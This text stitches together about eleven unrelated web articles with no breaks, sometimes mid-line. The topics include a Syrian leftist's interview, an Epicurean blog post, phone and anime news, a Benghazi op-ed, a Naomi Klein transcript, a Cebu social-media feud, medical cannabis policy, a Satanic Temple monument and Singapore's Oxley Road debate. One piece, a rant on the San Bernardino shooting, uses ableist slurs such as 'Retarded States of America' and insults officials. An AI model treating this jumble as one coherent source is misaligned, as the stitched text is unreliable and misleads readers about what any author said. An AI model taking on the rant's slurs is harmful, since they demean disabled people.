As for Russia, its regime is not that different from our regime. Russia first used Ukraine and then Syria to reassert its status as an international power. It is an imperial power that just inked a classic colonial deal for it to remain in Syria for 49 years. Russia’s role was pivotal in saving the regime. It launched very brutal attacks in Aleppo and many other regions in the country. Contrary to their claims, they did not fight Daesh, but instead waged war on those fighting the regime. They bombed hospitals, markets, and schools.
The Turkish record is mixed. Turkey is obsessed with the Kurds. They played a very bad role because of this obsession. They opened their border for jihadis in the hopes that they would attack the PKK. This was a very short sighted and counter revolutionary plan. They in turn exported to Syria their experiences with PKK.
At the same time, Turkey is hosting 3 million Syrian refugees and their conditions are far better than those in Jordan or Lebanon. I was there myself and Syrians have access to healthcare without paying a penny, and many of them are in schools. But it must be said that it is still very difficult to live as a refugee in Turkey (and in Europe). And now the Turks are weaker than they were before and they are cooperating with the Russians. This is already causing bitterness among many Syrians.
Iran is also another regional imperial power. It is trying to build its own regional empire in the Middle East stretching from Tehran to Baghdad, Damascus, and Beirut. And they negotiate with the western powers and specifically the Americans. After Obama cut his nuclear deal with Iran, the Americans practically gave a free hand to Iran in Syria.
We must remember that Syria is in the Middle East—the most internationalized region in the world. You thus cannot separate any of the countries’ internal dynamics from the rest of the region and indeed from the whole structure of world imperialism. The outside powers are internal. The Americans are not an outside power for us in Syria or for Iraq, Egypt, Lebanon, and of course Palestine. And at the same time Syrians are now scattered everywhere in the world. So all the world is in Syria and we are throughout the world. We are a world, and the world is a Syria.
It is not the right approach analyze the situation in Syria only while looking at the internal aspect even of the regime itself. The regime is one actor in a big alliance with the Russians, Iranians, Hezbollah, and many other Shia jihadi militias. And this alliance has a sectarian dynamic binding Shia and Allawi. And of course we have Sunni sectarianism on the other side that was fueled and fomented by Saudi Arabia in particular. Both are a part of a regional competition between Iran and Saudi Arabia for regional power.
We are in a horrible situation that is the outcome of three actors—the thuggish regime ruling the country, the Sunni and Shia Islamists, and the regional and imperialist powers. So we have many parallel wars in Syria. It is not just one war. Since 2013, we have many wars. The Americans have their own war. The Iranians, Russians, and the Turks have their own wars.
Much of the so-called anti-imperialist left failed to extend solidarity to the Syrian Revolution, and even went so far as to support Assad’s dictatorship and the intervention of regional powers like Iran and imperial ones like Russia. At the same time sections of the left have been principled defenders of the Syrian Revolution. How do you explain the failure of large sections of the left to live up to the principle of international solidarity?
THIS IS one of my biggest disappointments. I always thought that Western leftists were enlightened Marxists. They have passports, access to good books and magazines, many of them went to good universities, and they know the world far better than us. Or at least I thought so. I expected them to think globally because they are in New York, London, Paris, and Berlin.
So their betrayal of the revolution came as a shock to me. I thought we would be their natural allies. After all we were the ones fighting against a junta regime, defending democracy and equality, and fighting for our people and their future. We were the ones standing for socialism and social change.
But to my horror, so much of the international left aligned with the regime. I think in part they did so because they were caught in the old days. They remembered that the regime was more allied to the Soviet Union than to the US. So they then wrongly thought that this regime is against imperialism, and this regime is therefore their allies and we, the revolutionaries, are their enemies.
In reality, they know nothing at all about Syria and about the Syrian people. The Syrian regime is one of the main pillars of the Middle East. This is not a geographic region, it is a political system based on denying citizenship and political rights to the population, and denying states (apart from Israel) real sovereignty. States can only wage wars against their own subjects. By the way, this lack of sovereignty is one main reason behind the rise of our conquered imperialists. They are our substitute empire.
I think the leftists in the West are isolated from human suffering. They don’t know and they are not curious to know. They are satisfied with their knowledge which is based on remembering the past not analyzing what’s happening now.
In their own way they have an imperialist worldview that blinds them to reality. They annex our struggle to their grand struggle against imperialism. And they treat us, the actors from below, as mere puppets in an imaginary project of regime change. Even worse they adopt the regime’s and indeed American imperialism’s world view itself, dismissing the revolution as a product of Sunni jihadism, whereas the opposite is true: we have jihadism because the revolution has been crushed. All of this is a sign of a deep crisis on the international left.
In his book, Morbid Symptoms, Gilbert Achcar argues that the genuine left was perhaps too optimistic at the start of the Arab Spring and now is far too pessimistic. He instead argues that we are at the beginning of a protracted revolutionary crisis rooted in the political economy and state formation of the region. If that is the case, what are lessons so far in Syria and the region? What changes are necessary for the left to prepare for the future?
FIRST AN intellectual point. We cannot confine ourselves to analyzing the internal dynamics of Syria. We cannot isolate Syria from Palestine, Turkey, Lebanon, Jordan, and other countries of the region. We must think internationally.
Second, and most importantly we should build networks of solidarity throughout the region and world. Syrians can and must play a key role in this process because we are now everywhere.
This is essential to prepare for the future. While I am reluctant to prophesize, I think that in a generation from now there will be even bigger revolutions and upheavals in the region. Why? Because the states deny their subjects basic rights and their economies prevent them from meeting their basic needs.
In the nineteenth century, Marx dubbed Russia the prison house of peoples. Today it is the Middle East; and its structures are fundamentally destabilized in a protracted crisis. So this lead to a third task: we must build organizations capable in the coming years to dismantle this prison and replace it with new democracies.
Maybe the future center for this struggle will be the Gulf and specifically Saudi Arabia. It is the basis of reaction in the Arab world. Change is very vital there. I hope a new generation of western leftists will play a role. I know they hate the Saudi monarchy. It would be good if they invest their hatred to aid the revolutionary project for change in the Middle East, not in defending the fascists of the necktie like Assad.
Finally, I think we, as a Left must focus more on building a new project, a new utopia. We don’t have any global project now, because of the failure of twentieth century communism. Many have criticized the idea of utopia. This is narrow minded and short sighted, in my opinion.
We need a conception of a goal, a society in the future that we can imagine and fight for. A world with more equality, more brotherhood and sisterhood, more freedom and more respect for the planet and its seas, waters, plants, and animals. We need a big change of our ways of thinking and I hope we are beginning to think in these ways. If we do not dedicate ourselves to a new global project, we will have only dystopias Assad’s Syria and Daesh.Peace and Safety to the Epicureans of today, no matter where you might be!
This Twentieth of August is a good time to look back at a specific aspect of Western history, and to remember the quote attributed to Menander in reference to Themistocles and to Epicurus:
Salutations to you two, both of you sons of Neocles, one of whom saved us from servitude, the other from folly.”
In terms of both folly and servitude, recent discussions on the Facebook forum have been very sober in noting the rise in suicides in Greece in the last several years. These suicides are no doubt in part a reaction to economic circumstances that seem to be on the point of bringing Greece into servitude to the international financial system. In the most considerate and compassionate way possible, however, I want to write this brief note today that the reaction to flee to suicide under current circumstances is folly.
The standard of living in Greece, and in most of the Western world today, is at or near peaks never seen before – at least in financial and material terms. The standard that is not near a peak is neither financial nor material, but intellectual and “spiritual.” In this intellectual and spiritual decline Greece is apparently ahead of many, but the rest of the West is following closely behind.
No doubt important economic changes are ahead for Greece. Those economic changes have to be decided by the people of Greece, and not by experts in Brussels or anywhere else.
The answer to the more important changes that must occur are even more certainly found in Greece itself. World history is full of civilizations that were confident and flourishing in economic situations we would consider primitive today. History is also full of peoples who gave up all economic stability to march across deserts and cross oceans to start new lives from virtually nothing except intellectual and spiritual confidence.
Greece is uniquely well positioned among all peoples of the world, for it is able to say that it can look to its own past for the diagnosis and cure of the diseases that hinder it today.
But it is no answer for Greece (or anyone else) to say simply that the answer is in “philosophy.” The worst of the diseases that afflict the West have their own roots in “philosophy,” including to a large degree that of Greece.
The answer is as Menander observed: when Greece was wallowing in “folly,” it was Epicurus who pointed the way out.
The problem for Greece and the West is to look and see that the disease was introduced by some of its brightest philosophical stars. The diagnosis and cure comes from a philosopher whose name is taken in vain when it is used at all. Sometimes it takes an outsider’s perspective to bring issues into sharp focus, so here is the observation – not in words of Greek – but in the words of two presidents of the United States:
First, Thomas Jefferson to John Adams, July 5, 1814: I am just returned from one of my long absences, having been at my other home for five weeks past. Having more leisure there than here for reading, I amused myself with reading seriously Plato’s republic. I am wrong however in calling it amusement, for it was the heaviest task-work I ever went through. I had occasionally before taken up some of his other works, but scarcely ever had patience to go through a whole dialogue. While wading thro’ the whimsies, the puerilities, & unintelligible jargon of this work, I laid it down often to ask myself how it could have been that the world should have so long consented to give reputation to such nonsense as this? How the soi-disant Christian world indeed should have done it, is a piece of historical curiosity. But how could the Roman good sense do it? And particularly how could Cicero bestow such eulogies on Plato? Altho’ Cicero did not wield the dense logic of Demosthenes, yet he was able, learned, laborious, practised in the business of the world, & honest. He could not be the dupe of mere style, of which he was himself the first master in the world. With the moderns, I think, it is rather a matter of fashion and authority. Education is chiefly in the hands of persons who, from their profession, have an interest in the reputation and the dreams of Plato. They give the tone while at school, and few, in their after-years, have occasion to revise their college opinions. But fashion and authority apart, and bringing Plato to the test of reason, take from him his sophisms, futilities, & incomprehensibilities, and what remains? In truth he is one of the race of genuine Sophists, who has escaped the oblivion of his brethren, first by the elegance of his diction, but chiefly by the adoption & incorporation of his whimsies into the body of artificial Christianity. His foggy mind is for ever presenting the semblances of objects which, half seen thro’ a mist, can be defined neither in form or dimension. Yet this which should have consigned him to early oblivion really procured him immortality of fame & reverence. The Christian priesthood, finding the doctrines of Christ levelled to every understanding, and too plain to need explanation, saw, in the mysticisms of Plato, materials with which they might build up an artificial system which might, from it’s indistinctness, admit everlasting controversy, give employment for their order, and introduce it to profit, power & pre-eminence. The doctrines which flowed from the lips of Jesus himself are within the comprehension of a child; but thousands of volumes have not yet explained the Platonisms engrafted on them: and for this obvious reason – that nonsense can never be explained. Their purposes however are answered. Plato is canonised: and it is now deemed as impious to question his merits as those of an Apostle of Jesus. He is peculiarly appealed to as an advocate of the immortality of the soul; and yet I will venture to say that were there no better arguments than his in proof of it, not a man in the world would believe it. It is fortunate for us that Platonic republicanism has not obtained the same favor as Platonic Christianity; or we should now have been all living, men, women and children, pell mell together, like the beasts of the field or forest. Yet ‘Plato is a great Philosopher,’ said La Fontaine. But says Fontenelle, ‘Do you find his ideas very clear’?—‘Oh no! he is of an obscurity impenetrable.’—‘Do you not find him full of contradictions?’—‘Certainly, replied La Fontaine, he is but a Sophist.’ Yet immediately after, he exclaims again, ‘Oh Plato was a great philosopher.’— Socrates had reason indeed to complain of the misrepresentations of Plato; for in truth his dialogues are libels on Socrates.
Does Greece need an American to tell it to look to Epicurus rather than Plato? If one American president is not enough, here is a second:
John Adams to Thomas Jefferson, July 16, 1814:
I am very glad you have Seriously read Plato: and still more rejoiced to find that your reflections upon him so perfectly harmonize with mine. Some thirty years ago I took upon me the severe task of going through all his works. With the help of two Latin translations, and one English and one French translation, and comparing some of the most remarkable passages with the Greek, I laboured through the tedious toil. My disappointment was very great, my astonishment was greater and my disgust was shocking. Two things only did I learn from him. 1. that Franklin’s ideas of exempting Husbandmen and Mariners &c from the depredations of War were borrowed from him. 2. that sneezing is a cure for the hickups. Accordingly I have cured myself and all my friends of that provoking disorder for thirty years with a Pinch of Snuff. Some parts of some of his dialogues are entertaining, like the writings of Rousseau: but his Laws and his Republic from which I expected most, disappointed me most. I could Scarcely exclude the Suspicion that he intended the latter as a bitter Satyre upon all Republican Government, as Xenophon undoubtedly designed by his Essay on Democracy, to ridicule that Species of Republic. In a late letter to the learned and ingenious Mr Taylor of Hazelwood, I suggested to him the project of writing a novel, in which the hero should be sent upon his travels through Plato’s Republic, and all his adventures, with his observations on the principles and opinions, the arts and sciences, the manners customs and habits of the citizens should be recorded. Nothing can be conceived more destructive of human happiness; more infallibly contrived to transform men and women into brutes, yahoos, or dæmons than a community of wives and property.
The year 1814 was a year much less advanced in material goods than is Greece today. Yet the economic backwardness of 1814 did not reduce the fire of intellectual confidence that men like Jefferson and Adams exhibited in rejecting the errors of Plato.
While Jefferson saw through all of the Platonic error, Adams remained confused by the “spiritual” side of Plato. Jefferson’s response to Adams’s confusion, written on August 15, 1820, holds the key to the future for both Greece and the West:
[Referring to Adams’ letter…] Its crowd of scepticisms kept me from sleep. I read it, and laid it down: read it, and laid it down, again and again: and to give rest to my mind, I was obliged to recur ultimately to my habitual anodyne, ‘I feel: therefore I exist.’ I feel bodies which are not myself: there are other existencies then. I call them matter. I feel them changing place. This gives me motion. Where there is an absence of matter, I call it void, or nothing, or immaterial space. On the basis of sensation, of matter and motion, we may erect the fabric of all the certainties we can have or need. I can conceive thought to be an action of a particular organisation of matter, formed for that purpose by its creator, as well as that attraction in an action of matter, or magnetism of loadstone. When he who denies to the Creator the power of endowing matter with the mode of action called thinking shall shew how he could endow the Sun with the mode of action called attraction, which reins the planets in the tract of their orbits, or how an absence of matter can have a will, and, by that will, put matter into motion, then the materialist may be lawfully required to explain the process by which matter exercises the faculty of thinking. When once we quit the basis of sensation, all is in the wind. To talk of immaterial existences is to talk of nothings. To say that the human soul, angels, god, are immaterial, is to say they are nothings, or that there is no god, no angels, no soul. I cannot reason otherwise.
The hope for the future of Greece and the West is to be found not in some generic call to philosophy as a whole, but in the philosophy of Epicurus.
Peace and safety to you all!
_________________
As Seneca recorded: Sic fac omnia tamquam spectet Epicurus! So do all things as though watching were Epicurus!
And as Philodemus wrote: “I will be faithful to Epicurus, according to whom it has been my choice to live.”HTC’s upcoming Android device portfolio has seemingly been revealed, courtesy of some overzealous publishing of handset user profiles. The seven devices – complete with screen resolution and keyboard details – include a QWERTY-equipped version of the HTC Tattoo, the HTC Halo.
Overall there are three with QWERTY keyboards and the remainder rely on touchscreen-only input. The majority have 320 x 480 displays, though there’s one device – the HTC Supersonic – with a panel running at 480 x 800. At least one of the devices – the HTC Legend – was included in the leaked 2010 roadmap for HTC late last year.
Of course, there’s no release schedules linked with the different devices, so we’ll just have to wait and see what HTC bring to Mobile World Congress 2010 next month. Android Community will be there to bring back all the details!
[via KnowYourCell]In advance of the Dragon Ball Super TV series’ debut of the “Universe Survival Arc”, set to premiere tonight (05 February 2017) with episode 77, Japanese animation news outlet animate Times has revealed that the new story arc will also mark the debut of Tatsuya Nagamine (長峯達也) and Ryōta Nakamura (中村亮太) as the series’ new directors.
For the series this will mark the 5th director to assume the role of series director since the series’ debut in July 2015. Morio Hatano previously took over as the lead series director in episode thirty-three, replacing the series’ original director Kimitoshi Chioka, who assisted him in the role up through episode forty-six before leaving the series. Kōhei Hatano then most recently took over the role in episode sixty-eight with Morio Hatano remaining on to assist him.
While Ryōta Nakamura has been involved with Dragon Ball Super, having directed seven episodes (4, 31, 39, 48, 57, 65, and 75) of the series, Tatsuya Nagamine had thus far not been involved due to his heavy workload on other series, such as Pretty Cure, Digimon, and most recently, directing One Piece Film Z. Nagamine’s previous involvement with the franchise included opening and ending direction/animation for Dragon Ball Kai and prior to that being an assistant director for a single episode of Dragon Ball GT.At Andrews Air Force Base, on the return of the remains of the four Americans killed in Benghazi, September 14, 2012
If Obama ordered the military to “secure our personnel,” where is the order?
Our ambassador to Libya was killed in our own consulate in Benghazi on the night of September 11. For the next six weeks, President Obama repeated the same talking point: The morning after the attack, he ordered increased security in our embassies in the region.
Suddenly, on the campaign trail in Denver on October 26, he changed his story. “The minute I found out what was happening... I gave the directive,” he said, “to make sure we are securing our personnel and doing whatever we need to do. I guarantee you everybody in the CIA and military knew the number-one priority was making sure our people are safe.”
Advertisement
Advertisement
Notice the repeated use of the present tense, implying that he gave the order during the attack. Mr. Obama met with his national-security team, including the secretary of defense and the chairman of the Joint Chiefs of Staff, at 5:00 p.m. Washington time. For over an hour, the consulate staff had been constantly reporting that they were under assault by terrorists and Ambassador Chris Stevens was missing in action. In the White House, group-think leads to the mistaken assumption that the attackers are a spontaneous mob.
An hour after the attack has begun, the president orders the CIA and the military to do “whatever we need to do.” Yet the CIA and the military do nothing, except send drones overhead to watch the seven-hour battle. A CIA employee and former Navy SEAL, Tyrone Woods, twice calls for military help. He has a laser rangefinder and is pinpointing enemy targets, radioing the coordinates. The military send no aircraft to attack the designated targets. Special Operations forces standing by, 480 miles away — less than a two-hour plane ride — are not deployed.
#ad#Secretary of Defense Panetta later explained that this passivity was in keeping with a rule of warfare. “A basic principle,” he said on October 25, “is you don’t deploy forces into harm’s way without knowing what’s going on — without having some real-time information about what’s taking place.”
Advertisement
Advertisement
Rarely has a spontaneous mob so thoroughly intimidated our nation. And so much for sending our squads out every day in Afghanistan on patrol, when they don’t know what’s going on. The next time a platoon is told to take an objective, some corporal will say, “SecDef says we don’t have to go into harm’s way without knowing what’s going on.”
Apart from the questionable philosophy of turning battle into a poker game where all cards are face up before anyone places a bet, Mr. Panetta ignored the fact that the former SEAL on the ground was giving real-time information to everyone listening in at least eight operations centers (the embassy in Tripoli, State, White House, Pentagon, CIA, Special Operations Command, Africa Command, and the National Ops Center).
The SecDef and the president have issued contradictory explanations. Either Mr. Obama ordered the Secretary of Defense to “do whatever we need to do,” or he didn’t. And either the secretary obeyed that order, or he didn’t. And he didn’t.
Advertisement
It is also not clear whether the SecDef countermanded the chairman of the Joint Chiefs, who is the direct military adviser to the president. Did the president as commander-in-chief issue an unequivocal order that the chairman of the Joint Chiefs received but chose not to execute? Or did the chairman reply that he would do nothing?
Advertisement
Yet the general in charge of the Africa region has allegedly said he received no directive from Washington to dispatch military aid. Members of the mutual protective society of generals are offering the bizarre defense that our Africa Command could do nothing because it has no military assets; it’s some sort of ghost command. Even if that is true, the most powerful nation in the world has sufficient forces and flexibility to send fighter aircraft over a consulate in flames, or to land some troops at the secure airport east of Benghazi. After all, our embassy in Tripoli, 400 miles away, sent an aircraft with six Americans to fight in Benghazi. But our base in Sigonella, 480 miles away, sent no help.
If General Dempsey had concluded that the U.S. military should do nothing, he would have reported his decision not to act back to his commander-in-chief before the latter went to bed to rest up for his campaign trip to Las Vegas the next day. After all, the ambassador was still missing. And brave Tyrone Woods was to die in a mortar attack five hours later. President Obama would naturally be more than a bit interested in why the military and the CIA did nothing after he explicitly ordered them “to make sure we are securing our personnel.”
Advertisement
Surely it is in the president’s best interests to release a copy of his order, which the military would have sent to hundreds in the chain of command. And if the president did not direct the NSC “to do whatever we need to do,” then who was in charge? When the American ambassador is attacked and remains out of American hands for over seven hours as a battle rages — and our military sends no aid — either the crisis-response system inside the White House is incompetent, or top officials are covering up.
— Bing West, a former assistant secretary of defense, is co-author with Congressional Medal of Honor recipient Sgt. Dakota Meyer of Into the Fire: A First-Hand Account of the Most Extraordinary Battle of the Afghanistan War.This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: This is Democracy Now!, democracynow.org, The War and Peace Report, as we wrap up today’s show with Part 2 of our conversation with best-selling author and journalist Naomi Klein, author of The Shock Doctrine and This Changes Everything: Capitalism vs. the Climate. Her new book is called No Is Not Enough: Resisting Trump’s Shock Politics and Winning the World We Need. To accompany the book, The Intercept recently made this video.
NAOMI KLEIN: Shock. MEGYN KELLY: Shocking. STEPHEN COLBERT: I don’t think I could sit down right now. ALISYN CAMEROTA: You mean— WILLIE GEIST: Historic, astounding, shocking. NAOMI KLEIN: It’s a word that’s come up a lot since November, for obvious reasons. KELLYANNE CONWAY: He’s going to inject a shock to the system. NAOMI KLEIN: Now, I’ve spent a lot of time thinking about shock. Ten years ago, I published The Shock Doctrine, an investigation that spanned four decades, from Pinochet’s U.S.-backed coup in 1970s Chile to Hurricane Katrina in 2005. I noticed a brutal and recurring tactic by right-wing governments. After a shocking event—a war, a coup, a terrorist attack, market crash or natural disaster—exploit the public’s disorientation, suspend democracy, push through radical policies that enrich the 1 percent at the expense of the poor and middle class. PRESIDENT DONALD TRUMP: This is a repeal and a replace of Obamacare. GARY COHN: We’re going to cut taxes and simplify the tax code. PRESIDENT DONALD TRUMP: The United States will withdraw from the Paris climate accord. NAOMI KLEIN: Now, some people have said that’s exactly what Trump has been trying to do. Is it true? Well, sort of. But in all likelihood, the worst is yet to come, and we better be ready. The administration is creating chaos, daily. JUJU CHANG: Breaking news: Donald Trump’s national security adviser, Michael Flynn, has resigned tonight. ANDERSON COOPER: All of a sudden, the White House is concerned about James Comey’s handling of Hillary Clinton’s email? CBS NEWS ANCHOR: A Senate committee will question President Trump’s son-in-law and senior adviser Jared Kushner about his meeting with officials from a Russian bank. NAOMI KLEIN: Now, of course many of the scandals are the result of the president’s ignorance and blunders, not some nefarious strategy. But there’s also no doubt that some savvy people around Trump are using the daily shocks as cover to advance wildly pro-corporate policies that bear little resemblance to what Trump pledged on the campaign trail. DONALD TRUMP: Save Medicare, Medicaid and Social Security. MSNBC ANCHOR: The White House released its budget for 2018, and among the $4 trillion in cuts it proposes are billions upon billions of dollars slashed from both Medicaid and Social Security. NAOMI KLEIN: And the worst part, this is likely just the warm-up. We need to focus on what this administration will do when it has a major external shock to exploit. Maybe it will be an economic crash like 2008, maybe a natural disaster like Sandy, or maybe it will be a horrific terrorist event like Manchester or Paris in 2015. Any one such crisis could redraw the political map overnight. |
reaction to his statement to all the spoiled brats in Cebu that 'you're nothing special.' Affected much, are we?" wrote Osmeña.
He said that Adarna, Benitez, and a certain Cris Nelson Bolls Go, were all friends with Lim in high school. These are the people, he said, who are dredging up the story about the camera today.
Osmeña then narrated what happened between him and Adarna's group back in 2009.
"I found [my wife] Bea passed out in a bar after some of her classmates called me to say her group (including Samantha Benitez and Ellen Adarna) abandoned her there. The same classmates told me a pill was slipped into Bea's glass. I had to wipe the mud off her before carrying her to my car to bring her to the hospital. She had to go on IV, and it took her 3 hours just to wake up," he said.
According to Osmeña, it was true that he did call up Benitez to ask what happened. She laughed and then he responded by calling her a "worthless piece of shit." In his post, Osmeña denied sending a threatening text to Adarna's friend and sending the broken camera.
Osmeña said that Benitez could not provide proof that he brought the camera to her gate, and also questioned why she waited days after the 2009 incident to take the alleged death threat to the media. On the day she made it public, he said, he left the country for his last semester of college.
"I wanted to sue for libel," wrote Osmeña. "I have the screenshots of all their posts. My father told me that it didn't matter if I was the accuser or the accused, if I was involved in a case like that in Cebu City, he would go on leave. He also told me to just focus on my grades."
The possible end of his father's career, he said, was the reason he decided not to press charges and move on.
He ended his post, saying: "I wouldn't even have bothered to answer you if I was the only target. But I will not stand to be used as propaganda against my father. He's fighting so many battles as it is.
"This is the last thing I have to say on the matter: We are not poor. But we are not, and never will be, like you.
"We are happy. You should try to be too."
Read his full message below.
On Thursday, March 23, Adarna reacted to Osmeña's statement through her personal Facebook page.
She wrote to Osmeña: "Go ahead and call me whatever you want. At least I own up to my mistakes and I know I am the furthest thing from perfect.
"I reacted the way I did because I couldn’t stand the hypocrisy and the power tripping. You’re so self-righteous. You act as if you’ve done nothing wrong, like you’re an angel. But you’re not. You are a coward.
"You can fabricate the truth all you want but people know who you really are. People know what you really are and what you’re capable of; and no amount of PR, fake accounts, or Facebook bots can change that.
"I’m sorry to those who’ve been brought into this."
– Rappler.comBy Christopher R Rice
The FBI, NSA and Homeland Security are worthless
On Wednesday, a man and woman opened fire at the social services facility. About four hours later, police located a dark-colored SUV and engaged its occupants in a street shootout that killed the two suspects. They were later identified as Syed Farook, 28, and Tashfeen Malik, 27.
Female mass shooter pledged allegiance to ISIS on Facebook
And yet the president of the Retarded States of America isn't sure if this was a terrorist attack or just road rage, huh?
Tashfeen Malik, one of the shooters in the San Bernardino mass killings, pledged her support to the leader of the Islamic State group in a Facebook post shortly before the killings, according to news outlets.
The Associated Press and CNN reported the information Friday, based on unnamed law enforcement sources. Officials have not publicly confirmed the social media activity.
The FBI has finally uncovered evidence that Syed Farook had been in touch with people with extremist Islamic views, both in the U.S. and abroad, according to a report Thursday in the
New York Times
.
If that's not enough for ya' how about the body armor or the pipe bombs or geez, are Americans really this stupid?
Lets see, the presidents solution is to ban gun sales to more people that would not have prevented this killing or any future mass shootings. All the while the FBI has been bragging about keeping Americans safe, what a joke. The FBI's been doing stings on retards, giving them plans and explosives they wouldn't of had access to otherwise, then 'busting' them. Somehow this has given Americans confidence in their government even though they couldn't prevent Sandy Hook or the Marathon bomber or any other terrorist attack. And these Jackals have the audacity to blame Edward Snowden the NSA leaker, argh, what insanity.
Tashfeen Malik, Syed Farook were both terrorist, here to do just what they did and the FBI and NSA and Homeland Security are worthless. The people that you have chosen to protect you are worthless. If LE was a security company you would have fired them a long time ago as incompetent and worthless, huh?Many states struggle with implementation after passing medical cannabis laws, but Georgia has moved quickly to get a registration-card system in place and launch the Georgia Commission on Medical Cannabis under the leadership of Commission Chair Rep. Allen Peake (R-Macon).
Sadly, people must still leave Georgia to obtain their medicine, but these accomplishments show a genuine political commitment to create a system that can provide safe access to medical cannabis products.
Moving forward, lawmakers and commission members should remember that the best medical cannabis program is not necessarily the strictest, but the program that brings wellness to the greatest number of patients while creating effective regulations based on best practices.
Here’s an outline that will lead to dramatic benefits for Georgia’s potential medical cannabis patients.
Expand the qualifying conditions list
Doctors are in the best position to determine who should and should not be using medications because they are the ones who actually evaluate any given patient. They should be given discretion to use medical cannabis as guided by their professional medical opinion. Notably, physicians are able to write “off-label” prescriptions (meaning to treat a condition beyond what the FDA approved the drug to treat) when the drug could treat a patient’s condition and outweighs the potential risks. Georgia should let doctors, rather than politicians, determine when cannabis therapy is appropriate in their medical opinion. Moreover, overly restrictive condition lists lead to financially unstable dispensaries because many legitimate patients who wanted to be included could not qualify. Without these businesses, patients cannot obtain their medicine, so their financial health is vital to the program’s success.
Create lab testing and safety standards
Laboratory testing and safety standards are necessary to truly protect medical cannabis patients and assure they are getting the right product for their needs. Workers involved in the production, processing, and distribution of medical cannabis products need proper training, which can be established with smart regulations. Other consumer safety issues such as the use of pesticides, environmental impact of cultivation, and proper labeling need to be addressed as well. The American Herbal Products Association (AHPA) has already created guidelines for cannabis cultivation that would serve Georgia well.
Prohibit discrimination against medical cannabis patients
Nobody should lose their job, lose custody of their children or be denied an organ transplant because they are a medical cannabis patient. Patients in other states have faced these additional hardships because their laws did not adequately address these issues. Georgia should pass robust civil discrimination laws that clarify that using medical cannabis alone is no reason to punish patients, such as those found in Arizona’s law.
Don’t try to reinvent the wheel
Georgia would do well to look at best practices in other states for guidance. Like the AHPA guidelines, there are many effective practices and guidelines in place across the nation that Georgia should look to as models. Americans for Safe Access will be revising its “Medical Marijuana Access in the U.S.” report later this year, which will update ASA’s evaluation of the existing medical cannabis programs across the country. Fortunately, the Georgia Commission on Medical Cannabis has already begun to investigate best practices to identify the rules and regulations that patients in Georgia deserve.
Don’t impose harmful restrictions on cultivation
Limitations on the number of plants or the number of grow facilities reduces the variety of products available and can lead to disruptions in the available supply of medicine. Similar problems can emerge when vertical integration is required. Requiring people to register with a single dispensary also creates potential burdens on patients that aren’t necessary. Worries about increased teen use of marijuana should not dictate the medical cannabis policy of the state, as a recent study published on June 15th by the Lancet has pointed out. Medical cannabis in Georgia can be well-regulated without burdening the patients the program is supposed to help.
Don’t prevent patients from inhaling their medicine
Requiring patients to use only oils or other non-inhalation delivery methods can be harmful depending on their medical condition and personal preferences. While non-inhalation methods of cannabis work for many patients, they should also have the option of inhaling cannabis.
Based on what I experienced at the first meeting of the Georgia Commission on Medical Cannabis, I am confident that the appointed members are sincere in creating a program that works best the patients of the state. If Georgia adopts the best of the best state medical cannabis laws and regulations, patients and their loved ones will benefit greatly.Last month we told you about a request to erect a monument to Satan on the steps of the Oklahoma state capitol. Here's what it looks like.
At the beginning of last month we told you about a plan by a group that represents possibly the greatest ongoing troll campaign in existence, the Satanic Temple, to erect a monument to Satan on the steps of the Oklahoma state capitol. The idea would be to put it within spitting distance of the Ten Commandments stone tablet memorial which is already in place, just as a show of smart-ass subversive defiance against the law that allowed for a Christian religious symbol on state property.
Now, the design of that proposed monument has been revealed. You can see it for yourself above. It's seven-feet-tall, made of concrete, and features a goat-headed Baphomet seated under a pentagram and flanked by two smiling children. Because kids love Satan.
ADVERTISEMENT Thanks for watching! Visit Website
According to the Satanic Temple's appropriately named spokesperson, Lucien Greaves, "The statue will serve as a beacon calling for compassion and empathy among all living creatures. The statue will also have a functional purpose as a chair where people of all ages may sit on the lap of Satan for inspiration and contemplation."
ADVERTISEMENT Thanks for watching! Visit Website
ADVERTISEMENT Thanks for watching! Visit Website
I like that. Function as well as eternal damnation.
You'll be shocked to learn that despite the obvious hypocrisy it exposes, Oklahoma lawmakers are demanding that the Satanic Temple's request not be honored. Says Republican State Representative Earl Sears (I am not making that up): "This is a faith-based nation and a faith-based state. I think it is very offensive they would contemplate or even have this kind of conversation."
But see, that's exactly the point. Isn't this a faith-based monument?SINGAPORE: Prime Minister Lee Hsien Loong on Monday (Jul 3) rebutted the allegations of abuse of power made by his siblings in his handling of his late father Lee Kuan Yew’s house at 38 Oxley Road.
Delivering his ministerial statement at the start of a two-day debate in Parliament over the dispute between him, Mr Lee Hsien Yang and Dr Lee Wei Ling, PM Lee again apologised to Singaporeans for the public spat, and reiterated that his siblings’ allegations are “entirely baseless”.
Advertisement
PM Lee also delved into a timeline of his family’s discussions on the house. He said he and his wife Ho Ching came up with a proposal to renovate the house by demolishing the private living spaces to preserve the family’s privacy, but keep the basement dining room, which was of historical significance.
The proposal was accepted by Mr Lee Kuan Yew, he said.
PM Lee said the dispute between the siblings stemmed from a difference in perspective – with his personal view of Mr Lee Kuan Yew being willing to consider alternatives to demolition contrasting with his siblings’ view of a more non-compromising position.
The Prime Minister also addressed his siblings’ charges of abuse relating to a ministerial committee set up to consider options for the house, a Deed of Gift for the house’s artefacts, as well as nepotism.
Advertisement
Advertisement
He reiterated that he has recused himself from all government discussions on 38 Oxley Road, and accused his siblings of misleading the public.
On why he chose to raise the dispute in Parliament instead of suing his siblings, PM Lee said a lawsuit “would further besmirch my parents’ names”.
PM Lee also explained why he lifted the party whip for People’s Action Party (PAP) MPs, and called on all MPs to "examine the issues thoroughly" and question him and his Cabinet colleagues "vigorously".
Deputy Prime Minister Teo Chee Hean, who is the chair of the ministerial committee, also delivered a statement in Parliament. He said the committee will not decide what to do with the property, but will instead draw up plans of various options so that a future Government can decide when the time comes.
Mr Teo also explained why the committee’s existence was not announced, saying the Cabinet sets up committees from time to time to study specific issues. The formation of such committees rarely need to be announced, as they often relate to internal working processes and coordination within Government, he said.
National Development Minister Lawrence Wong told Parliament that as a property with architectural or heritage merit, the Oxley Road house should follow the due process of conservation or preservation.
This means carrying out a “rigorous assessment process” for all such properties before deciding whether to conserve or preserve them, he said.
Leader of the opposition Low Thia Khiang told Parliament that the dispute over 38 Oxley Road has become an “ugly media circus” that should be settled in court and not over social media.
The secretary-general of the Workers’ Party said the country’s reputation is at stake, and that the saga is distracting the Government from more important issues and damaging the Singapore brand.
MPs from the ruling People's Action Party also rose to speak during the debate, with questions surrounding the formation of the ministerial committee and the Government’s perceived role in the dispute.
